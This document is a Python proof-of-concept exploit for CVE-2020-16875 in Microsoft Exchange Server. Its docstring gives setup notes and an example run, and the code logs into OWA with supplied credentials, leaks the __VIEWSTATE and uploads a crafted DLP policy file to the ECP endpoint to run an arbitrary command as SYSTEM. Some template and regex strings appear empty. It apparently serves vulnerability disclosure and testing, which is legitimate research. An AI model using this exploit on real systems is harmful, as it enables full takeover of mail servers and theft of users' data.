#!/usr/bin/env python3 """ Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875 # Notes: The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox. [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym" Name AssignedRoles RoleAssignments ManagedBy ---- ------------- --------------- --------- dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test} [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85 ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test} RoleAssignments : {Data Loss Prevention-dlp users} Roles : {Data Loss Prevention} DisplayName : ExternalDirectoryObjectId : Members : {exchangedemo.com/Users/Harry Mull} SamAccountName : dlp users Description : RoleGroupType : Standard LinkedGroup : Capabilities : {} LinkedPartnerGroupId : LinkedPartnerOrganizationId : Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users IsValid : True ExchangeVersion : 0.10 (14.0.100.0) Name : dlp users DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6 ObjectCategory : exchangedemo.com/Configuration/Schema/Group ObjectClass : {top, group} WhenChanged : 6/12/2020 11:29:31 PM WhenCreated : 6/12/2020 11:29:31 PM WhenChangedUTC : 6/12/2020 3:29:31 PM WhenCreatedUTC : 6/12/2020 3:29:31 PM OrganizationId : Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users OriginatingServer : DEAD01.exchangedemo.com ObjectState : Changed # Example: researcher@incite:~$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint (+) logged in as harrym@exchangedemo.com (+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5 (+) executed mspaint as SYSTEM! """ import re import sys import random import string import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def random_string(str_len=8): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(str_len)) def get_xml(c): return """ 4 si """ % c def trigger_rce(t, s, vs, cmd): f = { '__VIEWSTATE': (None, vs), 'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"), 'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()), 'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)), } r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False) assert r.status_code == 200, "(-) failed to trigger rce!" def leak_viewstate(t, s): r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False) match = re.search("", r.text) assert match != None, "(-) couldn't leak the __viewstate!" return match.group(1) def log_in(t, usr, pwd): s = requests.Session() d = { "destination" : "https://%s/owa" % t, "flags" : "", "username" : usr, "password" : pwd } s.post("https://%s/owa/auth.owa" % t, data=d, verify=False) assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!" return s def main(t, usr, pwd, cmd): s = log_in(t, usr, pwd) print("(+) logged in as %s" % usr) vs = leak_viewstate(t, s) print("(+) found the __viewstate: %s" % vs) trigger_rce(t, s, vs, cmd) print("(+) executed %s as SYSTEM!" % cmd) if __name__ == '__main__': if len(sys.argv) != 4: print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0]) sys.exit(-1) trgt = sys.argv[1] assert ":" in sys.argv[2], "(-) you need a user and password!" usr = sys.argv[2].split(":")[0] pwd = sys.argv[2].split(":")[1] cmd = sys.argv[3] main(trgt, usr, pwd, cmd)